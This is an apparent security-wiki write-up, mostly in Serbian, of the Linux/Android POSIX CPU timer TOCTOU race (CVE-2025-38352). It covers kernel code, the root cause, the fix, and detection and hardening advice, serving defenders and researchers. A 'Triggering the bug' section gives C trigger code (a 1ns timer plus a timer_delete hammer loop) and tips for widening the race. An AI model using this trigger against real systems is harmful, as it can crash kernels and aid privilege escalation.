POSIX CPU Timers TOCTOU race (CVE-2025-38352)

Reading time: 7 minutes

Ova stranica dokumentuje TOCTOU race condition u Linux/Android POSIX CPU timers koji može korumpirati stanje timera i srušiti kernel, a u nekim okolnostima može se iskoristiti za eskalaciju privilegija.

• Pogođena komponenta: kernel/time/posix-cpu-timers.c
• Primitiv: expiry vs deletion race pri izlazu task-a
• Osetljivo na konfiguraciju: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

Kratak pregled unutrašnje logike (relevantno za eksploataciju)

• Tri CPU clocks vrše obračun vremena za timere putem cpu_clock_sample():
• CPUCLOCK_PROF: utime + stime
• CPUCLOCK_VIRT: utime only
• CPUCLOCK_SCHED: task_sched_runtime()
• Kreiranje timera povezuje timer sa task/pid i inicijalizuje timerqueue čvorove:

static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}

• Arming ubacuje element u per-base timerqueue i može ažurirati next-expiry cache:

static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}

• Brza staza izbegava skupu obradu osim ako keširane vrednosti isteka ne ukazuju na moguće pokretanje:

static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}

• Expiration prikuplja expired timers, označava ih kao firing, uklanja ih sa queue; stvarna isporuka se odlaže:

#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

Dva režima obrade isteka

• CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: istek se odlaže putem task_work na ciljnom tasku
• CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: istek se obrađuje direktno u IRQ kontekstu

void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk);                  // IRQ-context path
lockdep_posixtimer_exit();
}
#endif

U IRQ-context putanji, firing list se obrađuje izvan sighand

static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags);              // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing;         // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}

Osnovni uzrok: TOCTOU između isteka u IRQ kontekstu i konkurentnog brisanja tokom izlaska task-a

Preconditions

• CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
• Ciljni task izlazi ali nije u potpunosti reaped
• Druga nit istovremeno poziva posix_cpu_timer_del() za isti timer

Sequence

1. update_process_times() pokreće run_posix_cpu_timers() u IRQ kontekstu za zadatak koji izlazi.
2. collect_timerqueue() postavlja ctmr->firing = 1 i premješta timer u privremenu firing listu.
3. handle_posix_cpu_timers() otpusti sighand putem unlock_task_sighand() kako bi isporučio timere van zaključavanja.
4. Odmah nakon otključavanja, zadatak koji izlazi može biti reaped; sestrinska nit izvršava posix_cpu_timer_del().
5. U tom prozoru, posix_cpu_timer_del() može da ne uspe da pribavi state preko cpu_timer_task_rcu()/lock_task_sighand() i samim tim preskoči uobičajenu zaštitu za timere u letu (in-flight guard) koja proverava timer->it.cpu.firing. Brisanje se nastavlja kao da timer ne gori, korumpirajući stanje dok se obrada isteka odvija, što vodi do crashes/UB.

Why TASK_WORK mode is safe by design

• Sa CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, isteka se odlaže na task_work; exit_task_work se izvršava pre exit_notify, pa se IRQ-vremenski preklop sa reaping-om ne dešava.
• Čak i tada, ako task već izlazi, task_work_add() ne uspe; oslanjanje na exit_state čini oba moda konzistentnim.

Fix (Android common kernel) and rationale

• Dodati rani return ako trenutni task izlazi, ograničavajući svu obradu:

// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;

• Ovo sprečava ulazak u handle_posix_cpu_timers() za zadatke koji izlaze, eliminišući prozor u kojem posix_cpu_timer_del() može propustiti cpu.firing i ući u race sa obradom isteka.

Impact

• Kvar u kernel memoriji timer struktura tokom istovremenog isteka/brisanja može dovesti do trenutnih padova (DoS) i predstavlja snažan primitiv za eskalaciju privilegija zbog mogućnosti proizvoljnog manipulisanja stanjem kernela.

Triggering the bug (safe, reproducible conditions) Build/config

• Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.

Runtime strategy

• Ciljati nit koja je pred izlazak i prikačiti joj CPU timer (po niti ili za ceo proces):
• For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
• For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
• Arm with a very short initial expiration and small interval to maximize IRQ-path entries:

static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}

• Iz susednog thread-a, istovremeno obrišite isti timer dok ciljni thread izlazi:

void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}

• Pojačivači race-a: visok scheduler tick rate, CPU load, ponovljeni ciklusi izlaska i ponovnog kreiranja thread-ova. Kvar se obično manifestuje kada posix_cpu_timer_del() preskoči detekciju firing-a zbog neuspešnog task lookup/lock-a odmah nakon unlock_task_sighand().

Detekcija i hardening

• Mitigacija: primeniti exit_state guard; po mogućstvu omogućiti CONFIG_POSIX_CPU_TIMERS_TASK_WORK.
• Observability: dodati tracepoints/WARN_ONCE oko unlock_task_sighand()/posix_cpu_timer_del(); alarmirati kada se it.cpu.firing==1 uoči zajedno sa neuspehom cpu_timer_task_rcu()/lock_task_sighand(); pratiti nedoslednosti u timerqueue oko izlaska task-a.

Audit kritične tačke (za recenzente)

• update_process_times() → run_posix_cpu_timers() (IRQ)
• __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
• collect_timerqueue(): sets ctmr->firing and moves nodes
• handle_posix_cpu_timers(): drops sighand before firing loop
• posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap

Napomene za istraživanje eksploatacije

• Otkriveno ponašanje predstavlja pouzdan kernel crash primitive; pretvaranje toga u privilege escalation obično zahteva dodatni kontrolisani overlap (object lifetime ili write-what-where influence) koji je izvan okvira ovog rezimea. Smatrajte svaki PoC potencijalno destabilizujućim i pokrećite ga samo u emulators/VMs.

See also

Ksmbd Streams Xattr Oob Write Cve 2025 37947

References

• Race Against Time in the Kernel’s Clockwork (StreyPaws)
• Android security bulletin – September 2025
• Android common kernel patch commit 157f357d50b5…